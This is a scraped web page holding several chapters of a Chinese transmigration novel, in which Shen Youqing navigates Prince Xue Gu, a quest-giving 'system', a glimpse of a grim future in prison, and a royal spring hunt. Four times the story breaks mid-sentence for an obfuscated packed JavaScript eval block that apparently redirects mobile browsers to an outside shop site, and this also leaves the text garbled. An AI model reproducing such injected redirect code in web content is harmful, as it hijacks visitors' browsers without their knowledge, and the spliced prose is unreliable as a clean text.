薛故指尖在案上轻敲几下,“帮我查查沈幼青。” “查什么?” “他的病。” “殿下为何突然关心一个有夫之妇的病情?”楚砚瞠目结舌,手中扇骨重重敲在案台上,被惊得后面说不出话来。 薛故回过身望着他,眉眼微压,不置可否,不悦道:“他尚未婚嫁。” 不得了不得了,真是昏了头了。楚砚暗自猜测,哪怕沈幼青真的已嫁他人,薛故也能说出“是他人之妻又如何”之类的话来。 果然,薛观南根本没放下,甚至动了夺妻的心思! 楚砚讪笑道:“也是,这武安侯世子,不是个好归宿,惯来荒淫无度,不成大器,现在还能靠着父亲武安侯打下来的功绩安闲度日,等到坐吃山空或是上面那位起了铲除之心时,这沈小姐嫁过去可就要不好受了。” 听到楚砚提了一嘴李胥,薛故按捺下心中莫名生出的不爽快,目光在窗外歇息在树梢上的莺雀身上停了半晌,说还有要事,出了前堂。 天色渐晚,沈幼青躺在床上百无聊赖地数着羊,数到什么时候薛故才会来呢。 门吱呀作响,沈幼青立即闭上眼睛,装作熟睡的样子。 来人身上裹着夜里凉风的气息,以及铁锈般的血腥味。 沈幼青警觉地放轻呼吸,悄然竖起耳朵。 薛故立在床前,静静地望着床上人,一言不发。 是薛观南吗?还是薛咎派来的杀手? 不对。沈幼青很快排除了后面的情况。薛咎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427130|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种狠毒性子,给自己手下下的命令,肯定是要对自己赶尽杀绝。 须臾,那人出声了。 “知道你在装睡。” 沈幼青悠悠转醒,打了个呵欠,“殿下好久不见。”睁眼看清对面人身上的斑斑血迹还未干涸,把后续要说的寒暄话咽回去了。 沈幼青改口问道:“你受伤了吗?” 薛故眸光一动,梭巡的目光停留在沈幼青清澈透亮的双眼,一时没反应过来沈幼青在问他受没受伤。 “刚刚杀了很多人,但不是我的血。” “哦。”沈幼青心想,薛故现在风头正盛,惹人眼红,还没拿到实权,想杀他的人就能从城北排到城南了。 薛故的眼神从沈幼青面上扫向肚腹,沈幼青头皮一紧,双手下意识挡在腹前。 薛故想要杀他?剖腹? 歹毒残暴的起点文男主终究还是动了杀心,打算不讲仁义道德,要杀他解愤了? 沈幼青瞬间警铃大作。 “你有孕了?” 沈幼青:“啊?” 语句太过跳跃,沈幼青直楞愣地看着他,反复回忆确认自己是否听错。 他是男人,怎么可能有孕! 莫名被说有孕,沈幼青又气又恼,口不择言道:“我就算有孕,也是在定王府住了几天后有的,和殿下脱不开干系。” “胡说什么,不知羞耻。”薛故叱责道。 他冷着脸,耳廓却飞速爬上一抹红,几欲滴血,被夜色掩盖。 沈幼青大胆回击:“那也是殿下先不知羞耻地质问我。” 薛故抿紧唇,不开口。 沈幼青哼笑一声,带了点得逞的意味。 “殿下怎么不说话了?”沈幼青尾音微微上扬。或许是每次试探薛故的底线后,得到了他底线还能最低的反馈,沈幼青内心不自觉膨胀,全然忘了明明上一刻还在担心薛故对自己有杀心。 他一时得意忘形,起了挑逗的心思,抬起手,指尖堪堪停在薛故袖口上方,想着试探的机会又来了。 原著里女子是怎么勾得薛故心猿意马,彻底沦陷,他准备照做,只是刚要碰上那只袖口中的手,薛故幽幽开口:“忘了本王之前说过的话了?” 沈幼青身体一僵,倏地垂下自己欲要作乱的手,乖巧应声:“记得记得,殿下袖口脏了,我只是想整理一番。” 上一次庆功宴,薛故说过,若是再做出僭越行为,就不只是断他一臂那么简单了。 这个只会用下半身思考的后宫文男主,怎么就跟他一点情分不讲! 沈幼青心里窝火。 但想到正事,他还是装作低眉顺眼的样子,说:“殿下能否给我父亲捎一封信?” 薛故听罢,眉梢微微上挑,“让本王去送,令尊这种向来恪守礼节之人,确定不会气个好歹来?” “只是想报个平安,父亲他会谅解的,我无故消失这么久,父亲肯定急着找我。”反正回去最多挨一个月骂,太傅知晓他是男子,不会担心他在别人那吃亏。 “这几日沈府没有动静,也没急着找人。” 沈幼青惊诧问道:“为何?” “薛咎下了悬赏令,誓要找到当日在胜仙阁刺杀他之人,闹得沸沸扬扬,满城风雨。你说,这是为何?” 两人视线交错,沈幼青想躲开他的眼神,薛故的目光过于深邃,像看穿了他想遮掩住的一切。 12. 喜欢 须臾,沈幼青想到什么,开口问道:“殿下今天杀的人是不是薛咎派来的?” 薛故愣了一下,没想到他没有选择撒谎或者是避而不谈,而是直接摊到门面上讲,紧接着道:“是。” 沈幼青霎时醍醐灌顶,明白为什么系统让他做这个隐藏任务。他从薛咎手底下逃走,遇到了薛故,跟着他进了定王府,从而让薛咎沿着轨迹查到了薛故那里。一系列连锁反应,导致薛咎和薛故提前杠上了。 恐怕薛咎还以为自己是薛故的人。 积分果然不好拿啊。 他要是出了定王府小命难保! 沈幼青知道自己给薛故带来了麻烦,清咳一声,“抱歉,我惹的事,连累了殿下。” 声音很小,不仔细听就听不清。 薛故却质问道:“你去胜仙阁做什么?” “散散心……这好像不是重点。我只是出来玩,谁承想恰好撞见一些不该看见的事。薛咎发了火,要杀我,我就跳河跑了。”沈幼青哼了一声,带着怨气道,“正常人被撞破私情,都不会大肆宣扬,闹出这么大动静,薛咎到底想做什么?” 沈幼青提及私情,却没具体说是和谁的私情。寻常女子,就是有私情又何妨,可和他在一起的是宫里的太监,被传出去就是一桩丑闻,甚至会影响到储君的选择倾向,提前出局。 听到沈幼青直呼皇子大名,薛故并没有什么反应,似早已习惯。 “因为这样,被抓到的把柄就不是把柄了。”薛故抖落袖口沾的污迹,嗤笑一声。 沈幼青听得似懂非懂。 “也就是说,他敢这样做,是因为已经有了应对的方法。” 薛故:“嗯。” 沈幼青眉眼一弯,笑道:“那我们现在是不是一条船上的人了?” 善哉善哉,薛故是世界宇宙中心,主角光环强大到可以普度众生的程度,薛咎把矛头对上他们,只要薛故不杀自己,自己人身安全就有了保障。 虽然想法可耻,可沈幼青也没办法了。 原来这就是抱大腿的感觉,真香。 “什么船,贼船吗?” 听出薛故话里的奚落,沈幼青并不生气,“那殿下行行好,上了我这条贼船吧。薛咎要是知道是我,轻而易举就能把我捏死。像殿下这般英勇神武之人,薛咎哪里是殿下的对手!我的命全交给殿下了。” 沈幼青话语谄媚,眸中却闪着期冀的光,嘴角擒着一抹纯真、不似作伪的笑意。 年少时,沈幼青素来擅长以示弱示好赢得别人的喜爱,身体孱弱多病,在他面前却总是一副骄纵跋扈模样。只是,又能在他生气前当即卖乖,很快将人哄好。 薛故想不通,至今也想不通。 可是,想到他不在的这几年,沈幼青对待他的方式也如法炮制得对待李胥,心里陡然升起一股烦躁。 下一瞬,沈幼青拉着他的袖口那刻,热度似传递到胸口,被一簇火苗烫出了个洞。 薛故睫毛微颤,眼底的情绪难以捉摸。 沈幼青以为他不高兴了,连忙举起双手,瞎编乱造道:“你只是说过不能碰你,但你的衣服是你的衣服,我碰一下也只相当于碰了你的衣服,而不是你,所以……” 门外传来家仆的声音。 薛故神情如常,淡声让人进来。 家仆端着冒着热气的黑色汤汁,沈幼青喝再多次药也还是不习惯那股刺鼻冲人的气味,每次喝前都要做好心理准备。 沈幼青不动,薛故侧过身望他,语气不耐,“等着本王喂你?” “不行吗?”沈幼青眨了眨眼,说完之后才意识到自己这破嘴说了些什么逆天的话。 可薛故好像没有生气。 沈幼青也不打算试探,捧着碗一口气喝完。 沈幼青本想问他自己能留在定王府多久,薛故走了。 他敲了敲系统:“你说薛观南是不是喜欢我?” 系统:“不知。” “他现在不仅没想杀我,还让我住进了定王府。派了两个守卫护我安全,大晚上还过来盯着我喝药……桩桩件件,都不清白!” 系统:“尚未查到该项数据。” 沈幼青:“……”跟个不懂感情的人机说什么。 翻开商城页面,沈幼青灵机一动,“查一下薛观南的心情指数。” “恭喜宿主,主角的心情指数达到八十个百分点,目前商城折扣为五折。” 沈幼青“啧”了一声,上一次问还是负值呢,当时薛故还未归京,战事告捷不久,现在居然涨了这么多。 系统冰冷的机械音再度响起:“恭喜宿主达成打破心情指数峰值记录成就,获得一个奖励,请问宿主是否领取?” “领!”当然要领。 “奖励已发放,宿主尽情享用。” 世界天旋地转,甫一睁眼,他置身于阴暗潮湿的地牢,只是这次,并不是梦。 他躺在铺了稻草的木床上,低头望去,一只尾巴奇长的黑灰老鼠伏在脚边。 “啊啊啊—”沈幼青惊叫。没有人不怕老鼠,如果有,一定是它的同类! 老鼠听到响动,长尾一卷,一溜烟不见了,但“吱吱吱”的声音在耳边若隐若现,若有若无。 沈幼青忍着恐惧,弓起腿,手搭在膝盖上,挪动屁股,寻了个稍微干净且能看清楚周遭的位置。 这叫奖励?他爹的这叫奖励? 如果系统是实体,沈幼青连杀它的心都有了。 “什么鬼地方?”沈幼青嘟囔着,听到一阵脚步声,他看向铁门外。 烛火明灭,随风摇曳,映射在地面墙壁上的光抖得不成样子。 沈幼青骤然意识到,这不就是前几天梦里的牢房吗。 莫非他变成梦里那个七窍流血的血人了? 沈幼青吓得迅疾掀开右袖,手腕处一颗朱砂痣映入眼帘,他松了一口气,自己吓自己。 他出生时腕处有一颗红痣,形似女子的守宫砂,对于他来说却是胎记。 铁门外的人粗着嗓子跟对面人闲谈:“外面热闹得很,可惜你我只能守在这牢狱之中,跟老鼠死人打照面。” 死人?沈幼青眉心蹙起。 对面的狱卒拍了拍手上的灰,笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427131|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“是啊,明日就是登基大典,出生到现在,还没见过这等场面。” “惋惜什么,这御座啊,就是你方唱罢我登场,登基大典谁知今生还有没有机会见到?” “嘘!莫要说些大逆不道的话,被人听见你还想不想活了。” 铁门外的狱卒笑着摇头,收回视线,偏过头,方寸大小的牢里,那穿着朴素的白色囚衣,脸上沾了脏污,却毫不失色的美人,眼睛正眨也不眨地盯着他看。 一团火在腹部窜得老高,狱卒咒骂出声,想起对方是个男人,腌臜念头在舌尖滚了一圈又被吞回。 “中看不中用。”狱卒啐了一声,恼道,“看什么看,再看把你眼睛挖了。” 沈幼青慢吞吞道:“请问,明天是薛……定王的登基大典吗?” 狱卒古怪地扫了他一眼:“不然呢?” “登基大典之日向来会大赦天下,那我明天是不是可以出去了?”沈幼青雀跃不已。 狱卒不禁捧腹大笑:“那是普通罪犯的事,跟你一个犯了谋反重罪的人有什么关系?别想着出去了,安心等着上路吧。” 沈幼青大惑不解,神色凝重起来。 原著里他在薛故登基隔天死了,死状凄惨,系统把他传送到这里,是想让原著情节再现,还是未来事件预警? “可以告诉我,我犯了什么重罪吗?” 狱卒以为他装傻充愣,帮他回忆一下也不妨事,道:“跟叛军勾结,不够你死几百回的,你当真不记得了?” 对面的狱卒此时出声打断:“哎,跟个将死之人说什么,大抵还做着白日梦呢。” 对方提及“白日梦”三个字,铁门外的狱卒瞬间了然一笑。 他说:“陛下以前看在你姿色份上,对你确实另眼看待,可那又如何?不还是得乖乖在这暗无天日的牢里等死。” 沈幼青对他言语中的挑衅和讽刺充耳不闻,呆呆看着某一处,思绪飘忽不定。 他在回想原著剧情。 美人低首敛目,浓密的长睫挡住眼神,朦胧不清的昏黄灯光下,远观竟有脆弱易碎之美。 狱卒暗暗想着,是男子又如何?临死之前给他爽一把是他最后的价值。 他开了锁,走上前:“给老子把衣服脱了。” 对面的狱卒跟着窃笑起来:“好啊,原来你抱的是这个心思。” 风钻入脖颈,沈幼青蓦然回过神,冷眼看着狱卒笑起来时猥琐肿胀的脸,只是不到半晌,狱卒像被踩了尾巴的老鼠,收了笑,猛然跪在地上,让开一条路。 “参见陛下!” “参见陛下!” 声音此起彼伏,男人一路畅通无阻。 沈幼青抬起头,男人穿着玄色锦服,披了一层白裘鹤纹大氅,不是上次梦里的打扮。 薛故尚未坐上皇位,此刻居高临下俯看着他的窘态,眉宇间的威压和冷漠压得人有些透不过气。 薛故身上沾了酒味,携着寒气,似刚从宫中酒宴脱身,径直步入地牢。 沈幼青摸不清他的态度,但他记仇,反正不是现实,不管怎样,先把仇给报了。 13. 奖励 帝王身边的大太监快步赶来,擦了擦大冷天额头冒出的热汗,停在薛故身后,劝着:“哎哟,明日方是陛下的登基大典,现在来这污秽之地,奴才担心陛下沾了晦气。” 薛故有些腻烦地“嗯”了一声,望向沈幼青的目光却不曾移开。 带着审视,不含一丁点温情,声音比冬夜寒风更为肃清凛冽。 “见到朕怎么不下跪?” 沈幼青下了木床,膝盖缓缓弯曲,没有被逼着下跪的屈辱感,神色自若,说完请安的话,顾不得被老鼠爬过的肮脏地面,掌心朝下,头轻轻磕在地上,道:“请陛下明鉴,方才这狱卒对陛下大不敬,说出的话来简直不堪入耳,有辱圣听,罪民……罪民为陛下打抱不平,却被此人羞辱,请陛下做主!” 狱卒双眼怒睁,换做平日就要大呼小叫了,薛故在旁边,他压着嗓子道:“你这是恶人先告状!陛下不会信你这个不知廉耻的叛者的话!”说罢,立刻跪向薛故,哀嚎,“陛下,他在欺君,奴才被他害惨了!” 沈幼青冷呵一声。 在自己面前拿腔作势,在薛故面前又是一副受害苦主的模样。 “惋惜什么,这御座就是你方唱罢我登场,登基大典谁知今生还有没有机会见到?” 沈幼青嘴角一勾,复刻出狱卒说过的话,戏谑的语气都学到入木三分。 他接着煽风点火:“他诅咒陛下在位时间不长,此人必定图谋不轨。” 狱卒倏地白了脸。 “陛下若是不信,大可问对面那个狱卒大哥,他可是回了一句话。” 不远处的人见自己被卷入风波,吓得两腿抖瑟,嗫嚅着说不出话。 薛故眼神透着倦意,一挥手,对面的狱卒被一个御林军护卫带往铁牢中。 “说,他所言是否属实。” “是是……不是,他说谎!不对,奴……奴才不知,奴才不知!” 薛故懒得听下去了。 御林军手起刀落,一道白光闪过,尸体倒下。速度太快,连血都未汹涌喷溅而出。 沈幼青后退一步,心绪复杂。 先前那个狱卒瘫软在地上,大喘气却不敢出声。 薛故:“带走。” 两个护卫将狱卒拖走了。 沈幼青清楚,这人下场只会比刚死的狱卒更为凄惨。 “三日了,叛军余党在哪儿?”薛故眸光沉寂,整个人不像即将登位,满是雄心抱负且意气风发的年轻帝王,微醺的醉意之下,是一潭死水。 沈幼青嘴唇微张:“我不知。” 他真的不知道。 原著里对他跟着李胥,同薛故作对的剧情着墨不多。李胥虽人坏,但没什么大抱负。他父亲武安候拥兵自重,想坐立为王,没来得及实施,皇帝就死了。死就算了,还把他大半兵权带进土里,害得武安候前功尽弃,只好按兵不动,慢慢筹谋。 没有立储的诏书,也没有其他皇亲国戚的阻拦,薛故顺势拿下玉玺,美名其曰暂时代理皇帝处理朝政之责,实则手揽大权,只等天时地利人和就可以即位。那段剧情金手指拉满,满朝上下对他心服口服,也有不服的,只是很快就死了。 薛故称帝之时,正好是沈幼青来年的祭日。 后面的剧情他一概不知。 原著中这个节点并没有出现什么叛军,更别提叛军余孽了。 薛故的主角光环呢? 来不及多想,薛故看着他轻笑一声,笑意不及眼底,里面隐隐藏了几分恨意。 “背叛朕之时,可有想过会有这天,朕还活着,而你,已是阶下之囚。”薛故俯下身,两根细长手指,捏住他的下颌,向上一抬,似想要看清楚他的每个表情。 可惜,什么也没看到。 没有恐惧,没有悔恨,也没有羞耻。 沈幼青不说话,沉默良久。 薛故掐住他下巴的手指愈发用力,泛起刺痛,不用看都知道留下印子了。 沈幼青蹙眉:“陛下……” 薛故卸了力气,背过身,看了一眼旁边待命的狱卒,狱卒出了门,再次回来时,带来了一堆看不清材质的刑具,上面沾满干涸的污血。 沈幼青不禁往后退,背抵在坚硬的床缘,没有退路。 想起梦中那个受刑后浑身上下看不到一块好肉的囚犯,沈幼青脸色骤变,一股寒意爬上脊椎。 “不,不要。”沈幼青的声音堵在嗓子眼里,一时急剧的恐惧让他几欲作呕。 待命的狱卒问:“陛下,想先用哪种?” 薛故:“让他自己选。” 沈幼青眼泪瞬间夺出眼眶,垂下头,挨着地面,语无伦次道:“我真的不知,你放过我吧,我想不起来了,之前的事情我都记不得了。” 很久听不到回应,沈幼青抬起头,眼前烛火通明,三足错金炉正蒸着白烟,香气氤氲,周边的物件摆饰都是稀罕物,上等品。 他回来了。 沈幼青大口呼吸着,没有劫后余生的喜悦。 “系统,滚出来。这算是什么奖励,你就是这样欺骗宿主的?我不管,等我离开这个世界,我就向主世界举报你的所作所为!” 沈幼青破口大骂。 “已检验刚才发放过的奖励,确凿无误,正是所有奖励其中之一,并没有发放错。” 沈幼青:“?” 他“哈”了一声,气笑了:“既然是奖励,就请建立在宿主的身心健康的基础上,对宿主予以关怀或是优待,而不是把人丢在死牢里,差点体验十大刑具的滋味。” “抱歉,给宿主带来的不便和不良体验,我们已经得到反馈并且记录在档,会进一步修复优化奖励的发放。” 沈幼青还是气不过,不打算退让,话里带着威胁:“我受了这么大的罪过,反馈完只记录到档有什么用,还不是高高拿起又轻轻放下,过段时间又重蹈覆辙了怎么办?我不会接受的。任务我不做了,我也不回家了,该上哪上哪,哪怕在这里待一辈子,或是早早死在薛故手里,我也不做任务了。” 系统果然有点“慌”了,没有起伏的机械音此时带着仓促:“请宿主消消气,已发放过的奖励是穿到未来半个时辰,对于大部分体验过的人来说都是有利无害的。鉴于此次给宿主造成不好的感受,我们会给予宿主补偿。” 本来听到“未来”两字,沈幼青闭了闭眼,蓦然体会到什么是活人微死感,直到听到补偿,眼睛顿时一亮:“什么补偿?” “痛觉屏蔽。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427132|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对于别人来说可能是个普通不起眼的金手指,但对于怕死怕痛的沈幼青来说,可以屏蔽痛觉太好太妙了。 从小到大被病痛折磨得不轻,有了这个也不怕日后再生病。 沈幼青哼了一声:“还不错。” 当下就让系统给他开了痛觉屏蔽,沈幼青吐出一口浊气,前几日发热残留下来的不适感消失殆尽,手脚也比平常更有力气,大抵修仙之人闭关多年出来就是这种感觉。 天刚破晓,沈幼青一觉无梦。 或许是薛咎派来的眼线被铲除干净,门口的守卫放他出院,也没限制他的行动。 沈幼青在偌大的定王府四处溜达,但唯独不靠近薛故起居那一带。 薛故要上朝,早出晚归,沈幼青就这么悠哉了几天,两个人也没打过照面。 薛故的下属把沈太傅写的书信递给了他,上面只有两个字——“耻乎!”。沈幼青连回家的心思都歇了,恐怕这次家法伺候都是轻的。 加上定王府太过舒适,美景吃食都是极好的,沈幼青打算再住一阵子就跟薛故请辞。 刚开始,家仆望向他的眼神,不带一丝探究,像对待平常的客人那般,不热络也不失礼。 几天过去,他经过之处,附近视线“唰”得一下聚集在他身上,导致沈幼青时常怀疑自己是不是言行举止不妥当。 直到第三天下午,沈幼青把一个频频偷看他的侍女喊出来。 “为何你们一直看我?” 侍女有些畏缩,见沈幼青态度温和,只是出于好奇,就大着胆子道:“奴婢们都在猜公子是殿下的什么人。”说完捂嘴偷笑。 沈幼青恍然大悟:“这有什么好猜的,我……” 话语戛然而止,沈幼青顿住。 等等,这个场面有点熟悉。 侍女边打量他边捂嘴笑:“公子是殿下第一个带回来住这么久的人,生得比胜仙阁的姑娘还要好看。”意识到自己说错话了,忙不迭道歉,“奴婢没有那个意思,只是觉得公子生得很好看。” 沈幼青嘴角微微上翘,只是笑容僵硬。 李胥把霸总身边医生的台词套进书里,他当初看的时候就想吐槽。 最难以忍受的是,这句台词,此情此景,本来是李胥写给女主的,关他沈幼青什么事。 “殿下回来了!” 马蹄声动,府前路上尘沙卷起。 “公子快去迎接殿下啊。”侍女催他。 沈幼青顾左右而言他,支吾着:“这有什么好迎接的。” 他又不是薛故养在府里的小妾。 侍女焦急道:“公子怎么不为自己未来考虑,虽以男子身份当不上正室,但如果抓住殿下的心,何愁以后在府里不能穿金戴玉,安享晚年。” 沈幼青大惊失色,手指自己:“我?” 侍女倾身附耳低语:“奴婢都知道了。” 你都知道什么了? 沈幼青此时心情无法言状。 “奴婢会保密的。”侍女笑道。 沈幼青虽穿了很久的女装,可还是不习惯离女子太近,后退揉了揉耳朵。 大门敞开,沈幼青一抬头就看见薛故利落地翻身下马,正朝这边走过来。 14. 春猎 薛故今日穿的是绯红朝服,身姿笔挺,革带勒出腰身,浑身倒有点未来即位后的气势。 现在和未来的两道身影在沈幼青脑中逐渐重合,恍惚间难以辨清。 只是此时薛故的意气风发尚在,看见沈幼青站在那儿等他,不同往常的淡淡笑意染上眉梢。 他遏制住快步过去的冲动,放慢脚步。 “殿下,请借一步说话。” 薛故定睛看他:“好。” 薛故带他去了平时处理公务的书房。 一路上,两人无言。沈幼青跟在薛故身后,静悄悄的,始终跟薛故保持着不远不近的距离。 薛故走在前面,眼皮一掀。 原来不是他的错觉,隔了几天而已,沈幼青又变回那只缩进笼子的鸟雀。 步入书房,沈幼青没有左顾右盼,开门见山道:“肃王这几日可曾找过殿下麻烦?” 薛故:“找过。他派来的人都死了。” 沈幼青带着歉意道:“给殿下带来的麻烦,算欠殿下一个人情,来日殿下若有幼青能帮得上忙的地方,幼青必定在所不辞。” 薛故怔忪片刻,眼底温度转冷,嘴角却微微上扬,问道:“你能帮本王什么?” 言辞冷淡中携着嘲意,他好整以暇地等待着沈幼青的反应。 “我……”沈幼青被问住了,思索一会儿,说,“我确实如殿下眼里那般无能,但总会有用得到我的那天,殿下信吗?” 沈幼青眼里的坚定和真诚不似作伪。 薛故不置可否,定定地看着他,似有想说出口的话,可最终什么也没说。 两人再度陷入沉默。 沈幼青率先打破沉默,道:“多谢殿下这些时日的收留,幼青感激不尽。” 薛故没有接他的话茬:“后天皇城城郊举行春猎大会。” 沈幼青愣了一下。原著里春猎剧情是一个重要节点,也是立储之争的序幕初次拉开。 果不其然,系统的声音响起:“触发重要剧情,请宿主做好准备。” 薛故接着道:“在此之前,本王派人送你回去。” 沈幼青深知,自己现在回去,短时间内他亲爹不会再放自己出来,不如趁此机会随薛故一同去猎场,兴许对任务完成大有裨益。 “我可以跟殿下一起去吗?殿下在猎场不用顾及我,我不会给殿下添麻烦。那里人多眼杂,我可以自己回去。” 薛故眉头微挑,语气随意:“跟本王去可以,但要换个身份。” 沈幼青摸了摸脸:“不如我扮成殿下身边的侍卫吧。”忆起方才那侍女的一番话,他现在对“身份”两个字异常敏感。 让他扮成侍妾之类的角色,万万不行。 薛故深深看了他一眼:“正有此意。” * 元秋递给沈幼青一张玄色面具,问道:“你会骑马吗?” 元秋当了薛故多年的护卫,自然认识沈幼青。 “还行。”以前薛故无事就会来马场、练武场,沈幼青为了让薛故讨厌自己,实施热暴力计划,三天两趟往那边跑,缠着薛故不放。 久而久之,也习得些马术,只是不够擅长。 “行。” 路上,沈幼青才知道“行”是什么意思。 马车缓缓行驶,随从侍卫排成两列跟在马车后,沈幼青在人群中,脸戴面具,气喘吁吁。 元秋悠哉地骑马经过他身边,笑道:“殿下问你感受如何。” 沈幼青此刻确定了,薛故就是在蓄意报复。 他“哈哈”笑了两声,咬牙道:“挺好的。” 元秋也不拆穿,聊起往事:“你还记得四年前,你跟着我们殿下去了马场,结果被马蹄踹了一脚吗,哈哈哈。” 沈幼青装傻充愣:“什么时候的事情,我怎么不知?你记错了吧。” “没想到几年过去了,你还是喜欢跟在殿下后面,这持之以恒的精神,在下佩服。” 沈幼青干笑一声。自己在元秋嘴里,死皮赖脸跟着薛故,没有自尊一般。 好吧,他确实没什么自尊心。要是有,也不会现在在这。 元秋看他明显疲累,精神不济,想思忖了一会儿,停下马,对他道:“算了,你上来吧。” 元秋不是京城人,在皇宫待的几年,薛故被皇帝冷落,两人都很少与外人接触,也都没有刻在骨子里的礼仪规矩,不受束缚。 所以,哪怕以为沈幼青是“女子”,也没觉得让沈幼青坐在后面有什么不妥。 沈幼青自然不介意,反正他也是男的。 “元秋,你是个好人。”沈幼青随口夸了句。 这时,有个随从逆着人流,向他们跑来,对沈幼青说:“殿下喊你过去。” 沈幼青不明所以,但还是跟着随从上了薛故坐着的马车。 “不知殿下有何事吩咐?”和薛故待在同一个封闭空间,时常令他不够自在。以前还好,现如今,薛故给人的压迫感愈来愈强。 “研墨。”薛故没有抬头看他,简单吩咐一句。 沈幼青点头:“是。” 他觉得奇怪,这种事情随便喊个人来做也行,为什么要喊他? 要是之前,他可能就鼓起勇气直接问了,但自从系统让他看到未来之后,他顿然醒悟,试探不试探什么的根本没用,他最后还是落得入狱的下场。 与其想着让薛故喜欢自己,放自己一马,还不如顺其自然做任务赚积分,死前兑换回城大礼包。 一路相安无事。 皇家猎场在城郊明台山南麓,山峦起伏,群山吐翠。为了保护这里的生态,让后世皇家子孙得以享用,平时鲜少对外开放。 皇帝薛冕向天空射出一箭,顷刻间几只展翅盘旋的飞禽从空中直直坠落。这一箭昭示着春猎大会正式开幕。 “好!好箭术!” “陛下威力惊人,不减当年啊!” “飞禽为陛下龙气所震慑,竟吓得肝胆俱裂!” 沈幼青在远处听着众臣子花样吹捧奉承,觉得好笑。 大雍国尚武,只是皇帝近些年身子骨变差,不允许任何人谈及他的身体状况。至于那些落下的飞禽,并非中箭,而是事先安排好的。 皇帝摆摆手,露出慈和的笑容:“爱卿们先去安顿好,明日围猎,为期三日,胜者将获得丰厚赏赐。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427133|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >熟悉的声音又来了:“叮——已触发任务,请宿主阻止男主赢得头筹,奖励积分200。” 原著里这段剧情,薛故可谓是出尽了风头,主角光环强悍,多少人给他使绊子,结果还是赢得榜首。 “你干脆改名作死系统得了,我这条命来来回回折腾,迟早得没了。”沈幼青欲哭无泪。 细数系统长时间给他布置的每一个重要节点任务,除却和薛故“青梅竹马”期间,其他都不断在薛故面前作死。 也不知道系统让他做这些的最终目的是什么,明明最开始说要顺应剧情做任务,可是如今的走向越来越奇怪了。 皇帝和薛故等皇家子弟们回了营帐,沈幼青进不去营帐,只好待在外面人多的地方。 树下一片欢声笑语,热闹非凡。 年轻男女皆身着骑装,围成半圈,中间留有十尺长空地,地面上立着箭壶,里面插满黑色羽箭。 身材高大的男人手拉开弓弦,半晌,羽箭破风钉入靶心,周遭掌声如雷动。 “大将军好生厉害,朝廷之中除了圣上,无出其右啊。” 秦晖神态自得,沉浸在众人一片夸赞声中。 此时有人出声反驳:“是忘了定王殿下吗?殿下在潼山关那几年,骑军所过之处,北羌蛮子吓得屁滚尿流,殿下箭术或许能与大将军相匹敌。” 身边有人拉他的衣服,低声道:“多话什么,哪壶不开提哪壶。” 果然,秦晖随之沉下脸。 另外一人嬉笑道:“那不如就此比上一比。赛场嘛,当然由胜者说话。” 秦晖佯装玩笑道:“定王不在场,本将军与谁比?” “哎,这不是定王带来的侍卫吗?能跟着定王殿下,必定也是武力高超之人,不如让这侍卫替定王同大将军比上一场。” 霎时众人纷纷侧目,望向人群中戴着面具之人。 沈幼青一袭红色骑装,胸前别着定王府随从侍卫独有的“故”字胸牌。 沈幼青眨了眨眼,没弄清楚状况。 等一下。 “?”怎么忽然扯到我身上了? “为何戴着面具啊?”有人好奇问道。 沈幼青低声回应:“小人随殿下上战场受了伤,面容可怖,自此不敢取下面具。” 身边那个故意让他替薛故与秦晖比试,恶意明显,让大将军和定王下属比试不光彩尚且不说,赢了讨不到好处,输了更是丢脸。 没有高贵的身份自然不敢说出这番话。 不过,秦晖并没有众人想象得那般生气,他投向沈幼青的目光带着讥诮,毫不掩饰:“这就是定王的下属?这般瘦弱,如何能上战场?恐怕连弓都拉不开吧。” 在场和秦晖同党的人皆捧腹大笑起来。 沈幼青行礼,面具里传出来的声音沉闷:“小人愚钝,箭术拙劣,实在不敢擅替定王殿下在大将军面前班门弄斧。” 秦晖“啧”了一声:“废话什么,来人,给这位定王的下属,递上一把上好的弓,让在场的人看看实力。” 沈幼青立在原处,很快,一个奴仆上前递给他一把弓,沈幼青紧紧握着,露出的一双眼睛,看不出情绪。 15. 告状 